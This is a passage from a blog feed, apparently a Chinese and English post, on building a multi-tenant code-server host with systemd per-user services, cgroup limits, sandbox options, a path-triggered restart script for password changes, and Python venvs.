&lt;li&gt;&lt;strong&gt;结果：&lt;/strong&gt; 服务会看到一个自己专属的 &lt;code&gt;/tmp&lt;/code&gt; 和 &lt;code&gt;/var/tmp&lt;/code&gt; 目录。它无法看到或修改其他用户/服务放在全局 &lt;code&gt;/tmp&lt;/code&gt; 中的文件，反之亦然。这能有效防止基于临时文件的符号链接攻击或数据泄露。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PrivateDevices=yes&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 隔离物理设备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果：&lt;/strong&gt; 为服务提供一个只含必要伪设备的私有 &lt;code&gt;/dev&lt;/code&gt;，例如 &lt;code&gt;/dev/null&lt;/code&gt;、&lt;code&gt;/dev/zero&lt;/code&gt; 和 &lt;code&gt;/dev/urandom&lt;/code&gt;，限制直接访问宿主机设备节点。这不等于隔离了所有可能的硬件访问路径。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;NoNewPrivileges=yes&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 限制通过执行新程序获得额外权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果：&lt;/strong&gt; 服务及其子进程不能通过 &lt;code&gt;execve()&lt;/code&gt; 利用 setuid/setgid 位或文件 capabilities 获得额外权限。它不能防住所有提权方式，例如直接利用内核漏洞修改进程凭据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 限制该服务可以使用的网络协议族。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果：&lt;/strong&gt; 允许创建以下地址族的套接字：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AF_INET&lt;/code&gt;：IPv4 网络通信&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AF_INET6&lt;/code&gt;：IPv6 网络通信&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AF_UNIX&lt;/code&gt;：本地 UNIX 域套接字（用于本地进程间通信）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;在支持相应 seccomp 过滤的环境中，创建其他地址族套接字的调用会被限制。这可以缩小攻击面，但不限制 IPv4/IPv6 的连接目标，也不会撤销已经继承或传入的套接字。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;创建新用户时直接：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adduser &amp;lt;username&amp;gt;
systemctl enable --now code-server@&amp;lt;username&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可同时创建对应的CodeServer服务&lt;/p&gt;
&lt;h2&gt;配置修改密码自动重启&lt;/h2&gt;
&lt;p&gt;创建文件&lt;code&gt;/etc/systemd/system/code-server-restart@.path&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /etc/systemd/system/code-server-restart@.path
[Unit]
Description=Monitor code-server config change for %i
After=network.target

[Path]
PathChanged=/home/%i/.config/code-server/config.yaml

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建文件&lt;code&gt;/etc/systemd/system/code-server-restart@.service&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Triggered safe restart for %i

[Service]
Type=oneshot
User=root
ExecStart=/usr/local/bin/safe-restart-codeserver.sh %i

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的运行逻辑是这样的：&lt;/p&gt;
&lt;h3&gt;第一步：启动监控 (由 &lt;code&gt;.path&lt;/code&gt; 文件负责)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;系统或管理员启动了&lt;code&gt;code-server-restart@&amp;lt;username&amp;gt;.path&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;systemd会解析这个&lt;code&gt;.path&lt;/code&gt;文件，将&lt;code&gt;%i&lt;/code&gt;替换为用户名。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PathChanged=/home/&amp;lt;username&amp;gt;/.config/code-server/config.yaml&lt;/code&gt;&lt;/strong&gt;：systemd 会在内核层面（利用 inotify 机制）开始静默监听这个特定路径的 &lt;code&gt;config.yaml&lt;/code&gt; 文件。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;第二步：检测变更并触发&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;在 code-server 网页端修改了设置，或者通过命令行直接编辑了 &lt;code&gt;config.yaml&lt;/code&gt; 并保存。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PathChanged&lt;/code&gt; 检测到文件被修改&lt;strong&gt;并且被关闭&lt;/strong&gt;（这意味着写入已完成，避免读到写了一半的脏数据）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隐式绑定：&lt;/strong&gt; 因为 &lt;code&gt;.path&lt;/code&gt; 文件中没有使用 &lt;code&gt;Unit=&lt;/code&gt; 显式指定要触发哪个服务，systemd 的默认行为是&lt;strong&gt;触发与它同名去掉后缀的 &lt;code&gt;.service&lt;/code&gt; 文件&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;于是，systemd 自动拉起 &lt;code&gt;code-server-restart@&amp;lt;username&amp;gt;.service&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;第三步：执行动作 (由 &lt;code&gt;.service&lt;/code&gt; 文件负责)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;systemd 开始执行 &lt;code&gt;code-server-restart@&amp;lt;username&amp;gt;.service&lt;/code&gt;。同样，这里的 &lt;code&gt;%i&lt;/code&gt; 也会被替换为用户名。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Type=oneshot&lt;/code&gt;&lt;/strong&gt;：告诉系统这不是一个常驻后台的服务，而是一次性的任务。执行完就结束。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;User=root&lt;/code&gt;&lt;/strong&gt;：这个重启操作需要较高的权限，因此强制以 &lt;code&gt;root&lt;/code&gt; 身份执行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ExecStart=/usr/local/bin/safe-restart-codeserver.sh &amp;lt;user&amp;gt;&lt;/code&gt;&lt;/strong&gt;：这是整个逻辑的最终落脚点。系统以 root 身份运行了这个自定义的 shell 脚本，并将用户名作为参数传递给它。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;没有直接在restart.service里重启主daemon，因为考虑到CodeServer编辑文件是每修改一点就会自动保存，因此当用户修改密码过程中，可能会存在修改了一半就被触发重启，导致后面的部分没有成功写入的情况，因此编写了一个脚本，判断等文件没有修改之后才触发重启：
&lt;code&gt;/usr/local/bin/safe-restart-codeserver.sh&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
USER_NAME=$1
CONFIG_FILE=&quot;/home/$USER_NAME/.config/code-server/config.yaml&quot;
STAMP_FILE=&quot;/tmp/code-server-restart-${USER_NAME}.stamp&quot;

# 1. 前置拦截：如果记录文件存在，且配置文件比记录文件旧（或时间相同）
# 说明这一次触发是 systemd 排队遗留下来的无意义事件，直接退出
if [ -f &quot;$STAMP_FILE&quot; ] &amp;amp;&amp;amp; [ &quot;$CONFIG_FILE&quot; -ot &quot;$STAMP_FILE&quot; ]; then
    echo &quot;Config hasn&apos;t changed since last restart, exiting.&quot;
    exit 0
fi

# 2. 原有的防抖等待逻辑（保持不变）
while true; do
    last_md5=$(md5sum &quot;$CONFIG_FILE&quot;)
    sleep 5
    current_md5=$(md5sum &quot;$CONFIG_FILE&quot;)
    
    if [ &quot;$last_md5&quot; == &quot;$current_md5&quot; ]; then
        # 文件稳定了，执行重启
        systemctl restart code-server@$USER_NAME
        
        # 3. 关键动作：重启成功后，更新时间戳文件的修改时间
        touch &quot;$STAMP_FILE&quot;
        break
    else
        echo &quot;Config file for $USER_NAME is still changing, waiting...&quot;
    fi
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那个时间戳机制是为了防止多次触发导致无效重启，若检测到配置文件编辑时间早于上次重启时间则拒绝重启。&lt;/p&gt;
&lt;p&gt;完成编辑后启用触发器：&lt;code&gt;systemd enable --now code-server-restart@&amp;lt;username&amp;gt;.path&lt;/code&gt;（注意是&lt;code&gt;.path&lt;/code&gt;不是&lt;code&gt;.service&lt;/code&gt;），接着在web界面中尝试缓慢编辑config文件中的密码，查看日志就可以发现类似于如下记录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;○ code-server-restart@lyr.service - Triggered safe restart for lyr
     Loaded: loaded (/etc/systemd/system/code-server-restart@.service; disabled; preset: enabled)
     Active: inactive (dead) since Sat 2026-06-06 06:43:55 UTC; 29s ago
 Invocation: 0bd37fcb6ea44a58870c06b4fde5300c
TriggeredBy: ● code-server-restart@lyr.path
    Process: 6997 ExecStart=/usr/local/bin/safe-restart-codeserver.sh lyr (code=exited, status=0/SUCCESS)
   Main PID: 6997 (code=exited, status=0/SUCCESS)
   Mem peak: 2.5M
        CPU: 43ms

Jun 06 06:43:40 CodeServer systemd[1]: Starting code-server-restart@lyr.service - Triggered safe restart for lyr...
Jun 06 06:43:45 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting...
Jun 06 06:43:50 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting...
Jun 06 06:43:55 CodeServer systemd[1]: code-server-restart@lyr.service: Deactivated successfully.
Jun 06 06:43:55 CodeServer systemd[1]: Finished code-server-restart@lyr.service - Triggered safe restart for lyr.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当停止编辑5秒之后CodeServer才会重启，后续可以使用新密码登录。&lt;/p&gt;
&lt;h2&gt;配置Python venv&lt;/h2&gt;
&lt;p&gt;首先系统里需要安装Python3，这就不多赘述了，包管理器直接装即可。同时安装一个&lt;code&gt;python3-venv&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install python3-venv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着，进入用户的家目录，我选择创建了一个名为&lt;code&gt;.venv&lt;/code&gt;的文件夹用于存放虚拟环境。在&lt;code&gt;.venv&lt;/code&gt;中执行&lt;code&gt;python3 -m venv myvenv&lt;/code&gt;创建一个名叫&lt;code&gt;myvenv&lt;/code&gt;的虚拟环境，并在用户的&lt;code&gt;.bashrc&lt;/code&gt;后加上一行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  fi
fi

+source ~/.venv/myvenv/bin/activate
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后，启动shell的时候就会自动启用venv。&lt;/p&gt;
&lt;h2&gt;为CodeServer安装Python插件并指派使用venv&lt;/h2&gt;
&lt;p&gt;这一步就不过多赘述了，在网页上给CodeServer安装Python和调试器插件，并指定Python解释器为venv下的python即可。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;其实这个配置很早就做了但是一直没写，当时还没爆出来 CopyFail 和 DirtyFrag 这样的漏洞。披露后，我在这套配置下运行了当时拿到的 PoC，测试中没有成功提权。这是对当时环境和样本的观察，不能推广为能防住所有相关变种。&lt;/p&gt;
&lt;p&gt;从测试样本看，利用链需要创建 &lt;code&gt;AF_ALG&lt;/code&gt;，或 &lt;code&gt;AF_NETLINK&lt;/code&gt;、&lt;code&gt;AF_RXRPC&lt;/code&gt; 等套接字，而这里的 &lt;code&gt;RestrictAddressFamilies&lt;/code&gt; 没有允许这些地址族，因此可能在套接字创建阶段阻断这些利用路径。要确认具体阻断点，还需要结合对应 PoC、内核版本和系统日志分析。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;NoNewPrivileges=yes&lt;/code&gt; 则限制了另一类路径：进程及其子进程不能在 &lt;code&gt;execve()&lt;/code&gt; 时通过 setuid/setgid 位或文件 capabilities 获得额外权限。但它不阻止所有不经过 &lt;code&gt;execve()&lt;/code&gt; 的权限变化，也不能保证受损的系统文件不会影响其他高权限进程。因此，系统及时更新仍然必要，不能用这套配置代替漏洞修补。&lt;/p&gt;
&lt;p&gt;本文没有展开 SELinux，当前方案主要面向朋友共用、非关键业务的环境。systemd 的这些选项结合了 namespace、cgroup 和 seccomp 等机制，但不是完整的租户安全边界。SELinux/AppArmor 可以进一步限制进程访问，也不能保证挡住所有内核漏洞；面对互不信任的用户，还需要根据威胁模型评估更强的隔离方式。
当然，这个方案也存在其他一些局限，比如当用户非常多，或者uid分配有特殊需求，超过10000时原先计算端口的方式可能会失效；对于科学计算等其他正常需求，目前的限制可能过于严格等。本文仅作为一种思路探讨和参考。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;碎碎念：在容器化和云原生的时代，传统systemd还有很多值得我们去探求的特性可以做到很多事情呢……&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://git.parabola.nu/~lukeshu/systemd.git/log/man?id=6b3d378331fe714c7bf2263eaa9a8b33fc878e7c&amp;amp;ofs=200&amp;amp;showmsg=1&quot;&gt;systemd.git - A fork of systemd to make components more independant&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html&quot;&gt;systemd.exec：服务执行环境与沙盒选项&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.kernel.org/userspace-api/no_new_privs.html&quot;&gt;Linux 内核文档：No New Privileges Flag&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Leveraging systemd Features to Build a Multi-tenant CodeServer</title><link>https://blog.iyoroy.cn/posts/en-279/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-279/</guid><description>Running per-user code-server instances on a server shared with friends, using systemd resource limits and password-file monitoring, with Python venvs and notes on isolation limits.</description><pubDate>Sat, 06 Jun 2026 07:34:00 GMT</pubDate><content:encoded>&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;p&gt;The motivation came from a university Python course: I wanted to use a tablet rather than bring my heavy laptop to every class. &lt;a href=&quot;https://github.com/coder/code-server&quot;&gt;coder/code-server: VS Code in the browser&lt;/a&gt; suited that use case. After I deployed it for myself, friends also wanted access. I considered containers, then chose a binary deployment with Linux users and venvs to manage each person&apos;s files and Python packages. I did not benchmark container performance against direct deployment.&lt;/p&gt;
&lt;p&gt;The requirements are simple, roughly summarized as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Each user can log into CodeServer using their own domain name.&lt;/li&gt;
&lt;li&gt;Each user can change their own login password.&lt;/li&gt;
&lt;li&gt;Each user has a separate Python package environment and can install pip packages independently.&lt;/li&gt;
&lt;li&gt;Users should not be able to access each other&apos;s files.&lt;/li&gt;
&lt;li&gt;Prevent users from accidentally deleting critical system components.&lt;/li&gt;
&lt;li&gt;Prevent users from accidentally writing infinite loops or similar that exhaust server resources.&lt;/li&gt;
&lt;li&gt;Prevent users from using the server for cryptocurrency mining or as a jump box for attacks.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After analysis and discussions with AI, the final solution is roughly as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run CodeServer under a separate Linux user and home directory, with ownership and permissions controlling file access. Home directories should be accessible only to their owners, for example with mode &lt;code&gt;0700&lt;/code&gt;; creating separate users alone does not hide every file. Domain access also requires a separate reverse-proxy configuration.&lt;/li&gt;
&lt;li&gt;Listening ports are calculated based on UID. Create a venv manually for each user and activate it automatically via &lt;code&gt;.bashrc&lt;/code&gt; to satisfy requirement 3.&lt;/li&gt;
&lt;li&gt;Use systemd to limit resource consumption and some process operations. This reduces the impact of mistakes but cannot prevent all mining or network abuse.&lt;/li&gt;
&lt;li&gt;Use systemd&apos;s path mechanism to monitor &lt;code&gt;$HOME/.config/code-server/config.yaml&lt;/code&gt; and automatically restart the daemon, allowing users to change their login password by modifying the configuration file – a relatively elegant way to achieve requirement 2.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;s&gt;For requirement 7, given the computer literacy level of first-year students, I&apos;m not too worried (I hope?).&lt;/s&gt;&lt;br /&gt;
I kept network access for package downloads and tasks such as web scraping. Ordinary IPv4/IPv6 outbound connections remain allowed, so these settings do not replace egress controls or abuse management.&lt;br /&gt;
This article does not cover SELinux, because in my opinion SELinux would be over-engineering for these requirements, and I&apos;m not very familiar with SELinux/SEPolicy (that&apos;s the main reason lol). I also wanted to avoid imposing restrictions that hinder legitimate usage, so SELinux is not used.&lt;/p&gt;
&lt;h1&gt;Deployment&lt;/h1&gt;
&lt;h2&gt;Configuring systemd&lt;/h2&gt;
&lt;p&gt;Download the CodeServer binary and upload it to the server – for example, I put it at &lt;code&gt;/usr/bin/code-server&lt;/code&gt;. Then write the systemd service file, create &lt;code&gt;/etc/systemd/system/code-server@.service&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /etc/systemd/system/code-server@.service
[Unit]
Description=Code-Server for %i
After=network.target

[Service]
Type=simple
User=%i
Group=%i
WorkingDirectory=/home/%i
MemoryMax=1G
CPUQuota=150%
TasksMax=200
IOWeight=50
ProtectSystem=strict
ReadWritePaths=/home/%i
PrivateTmp=yes
PrivateDevices=yes
NoNewPrivileges=yes
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
# ExecStart=/bin/bash -c &quot;PASSWORD=$(echo -n &quot;%i&quot; | md5sum | cut -d&apos; &apos; -f1) /usr/bin/code-server --bind-addr 0.0.0.0:$((7000 + $(id -u %i))) --auth password&quot;
ExecStart=/bin/bash -c &apos; \
    PORT=$((7000 + $(id -u %i) %% 10000)); \
    /usr/bin/code-server --bind-addr 0.0.0.0:$PORT; \
    &apos;
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The filename is &lt;code&gt;code-server@.service&lt;/code&gt;; the part after &lt;code&gt;@&lt;/code&gt; is substituted for &lt;code&gt;%i&lt;/code&gt;. The design passes the username via &lt;code&gt;%i&lt;/code&gt;, calculates the port, and starts automatically. The port calculation logic is &lt;code&gt;7000+uid%10000&lt;/code&gt;. Typically UIDs start from 1000, so ports start from 8000 in order of user creation.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ProtectSystem=strict&lt;/code&gt; also makes home directories read-only, so &lt;code&gt;ReadWritePaths=/home/%i&lt;/code&gt; explicitly allows writes to this user&apos;s working directory. It does not grant additional filesystem permissions; ownership and permissions still need to be set correctly. A venv separates Python packages, but is not a security sandbox restricting access to the host or other files.&lt;/p&gt;
&lt;p&gt;Note this part of the configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MemoryMax=1G
CPUQuota=150%
TasksMax=200
IOWeight=50
ProtectSystem=strict
PrivateTmp=yes
PrivateDevices=yes
NoNewPrivileges=yes
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(I&apos;ll let AI explain it)
It mainly covers two aspects: &lt;strong&gt;Resource Control&lt;/strong&gt; and &lt;strong&gt;Security &amp;amp; Sandboxing&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;I. Resource Control&lt;/h3&gt;
&lt;p&gt;This uses Linux&apos;s cgroups mechanism to prevent the service from consuming excessive system resources and affecting other programs.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MemoryMax=1G&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Sets a 1 GiB memory limit for the service&apos;s cgroup.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Outcome:&lt;/strong&gt; If the service cgroup reaches its limit and memory reclaim cannot relieve the pressure, an OOM kill may occur within the group. Here, &lt;code&gt;1G&lt;/code&gt; means 1 GiB.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CPUQuota=150%&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Limits the service to at most 150% CPU usage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Outcome:&lt;/strong&gt; 100% represents one full CPU core. 150% means the service can saturate one core and use half of a second core (i.e., up to 1.5 CPU cores&apos; worth of compute).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;TasksMax=200&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Limits the service to a maximum of 200 tasks (processes or threads).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Outcome:&lt;/strong&gt; Prevents the service from creating unlimited child processes due to bugs or infinite loops (e.g., fork bomb), which could exhaust system PID resources and crash the system.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;IOWeight=50&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Sets the disk I/O priority weight. The default is usually 100.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Outcome:&lt;/strong&gt; Where the device and I/O controller support weighted scheduling, 50 reduces the service&apos;s relative share under contention. It is not a fixed throughput limit or a guarantee that other services remain unaffected.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;II. Security &amp;amp; Isolation&lt;/h3&gt;
&lt;p&gt;These settings restrict access to filesystems, devices, and sockets to reduce the impact of mistakes and limit some attack paths.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ProtectSystem=strict&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Strictly protects system files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Outcome:&lt;/strong&gt; Makes the filesystem hierarchy read-only, except for API filesystems and explicitly writable paths. Here, &lt;code&gt;ReadWritePaths&lt;/code&gt; keeps the user&apos;s home writable. This mount restriction does not replace kernel security updates.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PrivateTmp=yes&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Provides an independent temporary directory for the service.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Outcome:&lt;/strong&gt; The service sees its own private &lt;code&gt;/tmp&lt;/code&gt; and &lt;code&gt;/var/tmp&lt;/code&gt; directories. It cannot see or modify files placed in the global &lt;code&gt;/tmp&lt;/code&gt; by other users/services, and vice versa. This effectively prevents symlink attacks or data leaks based on temporary files.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PrivateDevices=yes&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Isolates physical devices.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Outcome:&lt;/strong&gt; Provides a private &lt;code&gt;/dev&lt;/code&gt; with necessary pseudo-devices such as &lt;code&gt;/dev/null&lt;/code&gt;, &lt;code&gt;/dev/zero&lt;/code&gt;, and &lt;code&gt;/dev/urandom&lt;/code&gt;, restricting direct access to host device nodes. This does not isolate every possible route to hardware access.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;NoNewPrivileges=yes&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Restricts acquiring additional privileges by executing another program.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Outcome:&lt;/strong&gt; The service and its descendants cannot gain privileges through setuid/setgid bits or file capabilities during &lt;code&gt;execve()&lt;/code&gt;. It does not prevent every escalation path, such as a kernel exploit that directly changes process credentials.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Restricts the socket address families the service can use.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Outcome:&lt;/strong&gt; Allows creating sockets in these address families:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AF_INET&lt;/code&gt;: IPv4 network communication&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AF_INET6&lt;/code&gt;: IPv6 network communication&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AF_UNIX&lt;/code&gt;: local UNIX domain sockets (for local IPC)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;On systems supporting the relevant seccomp filtering, calls to create sockets in other address families are restricted. This reduces attack surface but does not restrict IPv4/IPv6 destinations or revoke sockets inherited or passed to the service.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When creating a new user, just run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adduser &amp;lt;username&amp;gt;
systemctl enable --now code-server@&amp;lt;username&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to simultaneously create the corresponding CodeServer service.&lt;/p&gt;
&lt;h2&gt;Configuring password change auto-restart&lt;/h2&gt;
&lt;p&gt;Create &lt;code&gt;/etc/systemd/system/code-server-restart@.path&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /etc/systemd/system/code-server-restart@.path
[Unit]
Description=Monitor code-server config change for %i
After=network.target

[Path]
PathChanged=/home/%i/.config/code-server/config.yaml

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create &lt;code&gt;/etc/systemd/system/code-server-restart@.service&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Triggered safe restart for %i

[Service]
Type=oneshot
User=root
ExecStart=/usr/local/bin/safe-restart-codeserver.sh %i

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The logic works like this:&lt;/p&gt;
&lt;h3&gt;Step 1: Start monitoring (handled by the &lt;code&gt;.path&lt;/code&gt; file)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;The system or administrator starts &lt;code&gt;code-server-restart@yms.path&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;systemd parses the &lt;code&gt;.path&lt;/code&gt; file, replacing &lt;code&gt;%i&lt;/code&gt; with &lt;code&gt;yms&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PathChanged=/home/yms/.config/code-server/config.yaml&lt;/code&gt;&lt;/strong&gt;: systemd starts quietly listening (using the inotify mechanism) for changes to this specific &lt;code&gt;config.yaml&lt;/code&gt; file at the kernel level.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Step 2: Detect change and trigger&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;The user modifies settings in the CodeServer web interface, or edits &lt;code&gt;config.yaml&lt;/code&gt; via the command line and saves.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PathChanged&lt;/code&gt; detects that the file has been modified &lt;strong&gt;and closed&lt;/strong&gt; (ensuring the write is complete and avoiding reading half-written dirty data).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implicit binding:&lt;/strong&gt; Because the &lt;code&gt;.path&lt;/code&gt; file does not explicitly specify a service to trigger using &lt;code&gt;Unit=&lt;/code&gt;, systemd&apos;s default behavior is to trigger &lt;strong&gt;the &lt;code&gt;.service&lt;/code&gt; file with the same name (without the suffix)&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;systemd then automatically starts &lt;code&gt;code-server-restart@yms.service&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Step 3: Execute the action (handled by the &lt;code&gt;.service&lt;/code&gt; file)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;systemd executes &lt;code&gt;code-server-restart@yms.service&lt;/code&gt;. Again, &lt;code&gt;%i&lt;/code&gt; is replaced with &lt;code&gt;yms&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Type=oneshot&lt;/code&gt;&lt;/strong&gt;: Tells the system this is not a long-running daemon but a one-shot task. It exits when done.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;User=root&lt;/code&gt;&lt;/strong&gt;: The restart operation requires higher privileges, so it&apos;s forced to run as &lt;code&gt;root&lt;/code&gt;.&lt;/li&gt;
